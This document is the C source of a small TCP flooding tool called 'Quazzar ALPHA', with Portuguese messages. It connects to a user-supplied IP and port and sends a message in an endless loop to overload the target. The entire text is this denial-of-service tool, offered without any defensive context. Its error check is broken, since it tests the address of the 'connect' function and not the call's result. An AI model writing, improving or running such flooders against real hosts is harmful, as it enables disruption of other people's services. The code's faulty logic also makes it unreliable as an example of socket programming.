Quazzar Source Code

#include <time.h>
#include <math.h>
#include <stdio.h>
#include <stdlib.h>
#include <malloc.h>
#include <stdarg.h>
#include <strings.h>
#include <string.h>
#include <pthread.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <sys/stat.h>
#include <fcntl.h>


struct sockaddr_in alvo;
int soquete;

void thread(char message[])
{
    connect(soquete,(struct sockaddr *)&alvo,sizeof alvo);
    if(connect <= 0)
    {
        printf("Porta provavelmente fechada...\n");
        exit(1);
    }
    printf("Flooding...\n");
    while(1)
    {
        send(soquete,message,strlen(message),4);
    }

}

void criar_socket(char *ip[], char *porta[])
{
    soquete = socket(AF_INET,SOCK_STREAM,6);
    alvo.sin_family = AF_INET;
    alvo.sin_port = htons(atoi(*porta));
    alvo.sin_addr.s_addr = inet_addr(*ip);
    bzero(&(alvo.sin_zero),8);
    if(soquete < 0)
    {
        printf("Erro na cria\u00E7\u00E3o do socket.\n");
        exit(1);
    }
}

void main(int argc, char *argv[])
{
    printf("Quazzar ALPHA\n");
    if(argc < 4)
    {
        printf("Usage %10s <IP> <Port> <Message> \n",argv[0]);
        exit(1);
    }
    if(strlen(argv[1]) > 15 || strlen(argv[3]) > 40)
    {
        printf("IP inv\u00E1lido ou Mensagem muito longa\n");
        exit(1);
    }
    const unsigned short int port = atoi(argv[2]);
    if(port > 65535 || port <= 0)
    {
        printf("Numero de porta inv\u00E1lida...\n");
        sleep(1);
        exit(1);
    }
    //Criação de threads recomendavel aqui
    criar_socket(&argv[1],&argv[2]);
    thread(argv[3]);
    close(soquete);
}